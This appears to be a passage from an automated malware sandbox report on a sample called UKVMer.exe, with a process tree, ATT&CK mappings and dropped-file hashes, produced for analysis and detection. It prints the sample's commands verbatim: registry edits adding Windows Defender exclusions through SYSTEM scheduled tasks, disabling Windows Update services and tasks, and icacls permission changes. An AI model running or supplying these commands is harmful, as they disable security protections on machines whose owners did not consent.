    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2264
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5140
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2700
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3372
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:232
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5692
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:6108
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4292
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4508
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:6112
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2324
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5584
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:3968
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1308
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4548
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5748
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:2064
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5736
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3124
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8

C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
1⤵
- System Location Discovery: System Language Discovery
PID:3924

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:6052
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4980

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:704
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3660

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:980
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1360

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
PID:5516
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1816

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
PID:4496
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1568

C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
1⤵
- System Location Discovery: System Language Discovery
PID:400

C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
1⤵
- System Location Discovery: System Language Discovery
PID:5412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 100f409bd824a68b075eadd20932be56b60a0208f42c93b256d38ce68346dde7
MD5 cf14fcac8954e2682c8e7ca45ecab12c
SHA1 d85fd11c120a9c36c4fa07038cf5ccbca7458781
SHA512 747849af163b6e6db4da6ffc8a191e3652f176fc939df21c0986ee475dc33665355758ec030d8861b19c5ba3f81299e1d33c2e290456f89db24e3971a2135971
SSDEEP 384:Rsf+Bi9i+Cc4hjWYBrQ6ofxkfo9oP4TpK6seY4JE/Q/H3SoZTfx3g4jEDkSQ0gdw:Wfuc4hjTk1noP4TpNnOqXS2OmED/Cm3
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_ijms5z32.02p.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ijms5z32.02p.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/400-111-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

Download

memory/400-112-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/1692-36-0x00000000035F0000-0x0000000003D54000-memory.dmp

Download

memory/1692-1-0x00000000009F0000-0x00000000009F1000-memory.dmp

Download

memory/1692-7-0x00000000035F0000-0x0000000003D54000-memory.dmp

Download

memory/1692-11-0x00000000035F0000-0x0000000003D54000-memory.dmp

Download

memory/1692-10-0x0000000000F50000-0x0000000000F51000-memory.dmp

Download

memory/1692-14-0x00000000035F0000-0x0000000003D54000-memory.dmp

Download

memory/1692-21-0x00000000010C0000-0x00000000010D4000-memory.dmp

Download

memory/1692-22-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/1692-24-0x00000000754AD000-0x0000000075726000-memory.dmp

Download

memory/1692-5-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/1692-37-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/1692-0-0x00000000754AD000-0x0000000075726000-memory.dmp

Download

memory/1692-2-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/1692-6-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/3924-32-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/3924-38-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/3924-28-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/3924-31-0x0000000075491000-0x00000000754A4000-memory.dmp

Download

memory/3924-27-0x00000000001D0000-0x00000000001D1000-memory.dmp

Download

memory/5412-116-0x0000000075490000-0x0000000075BC0000-memory.dmp

Download

memory/5412-115-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

Download

memory/5692-86-0x0000000005DB0000-0x0000000006104000-memory.dmp

Download

memory/5692-109-0x0000000007940000-0x0000000007951000-memory.dmp

Download

memory/5692-108-0x00000000073D0000-0x0000000007473000-memory.dmp

Download

memory/5692-98-0x000000006FB50000-0x000000006FB9C000-memory.dmp

Download

memory/5692-97-0x0000000006910000-0x000000000695C000-memory.dmp

Download

memory/6048-47-0x0000000005520000-0x0000000005586000-memory.dmp

Download

memory/6048-61-0x000000006FAB0000-0x000000006FAFC000-memory.dmp

Download

memory/6048-72-0x0000000006B40000-0x0000000006BE3000-memory.dmp

Download

memory/6048-74-0x0000000006E60000-0x0000000006E7A000-memory.dmp

Download

memory/6048-73-0x00000000074A0000-0x0000000007B1A000-memory.dmp

Download

memory/6048-75-0x0000000006EC0000-0x0000000006ECA000-memory.dmp

Download

memory/6048-76-0x00000000070F0000-0x0000000007186000-memory.dmp

Download

memory/6048-77-0x0000000007060000-0x0000000007071000-memory.dmp

Download

memory/6048-78-0x0000000007090000-0x000000000709E000-memory.dmp

Download

memory/6048-79-0x00000000070A0000-0x00000000070B4000-memory.dmp

Download

memory/6048-71-0x0000000006110000-0x000000000612E000-memory.dmp

Download

memory/6048-60-0x0000000006B00000-0x0000000006B32000-memory.dmp

Download

memory/6048-59-0x0000000005B70000-0x0000000005BBC000-memory.dmp

Download

memory/6048-58-0x0000000005B50000-0x0000000005B6E000-memory.dmp

Download

memory/6048-57-0x0000000005730000-0x0000000005A84000-memory.dmp

Download

memory/6048-46-0x00000000054B0000-0x0000000005516000-memory.dmp

Download

memory/6048-45-0x0000000004B90000-0x0000000004BB2000-memory.dmp

Download

memory/6048-44-0x0000000004D10000-0x0000000005338000-memory.dmp

Download

memory/6048-43-0x0000000002200000-0x0000000002236000-memory.dmp

Download

memory/6048-80-0x00000000071B0000-0x00000000071CA000-memory.dmp

Download

memory/6048-81-0x00000000070E0000-0x00000000070E8000-memory.dmp

Download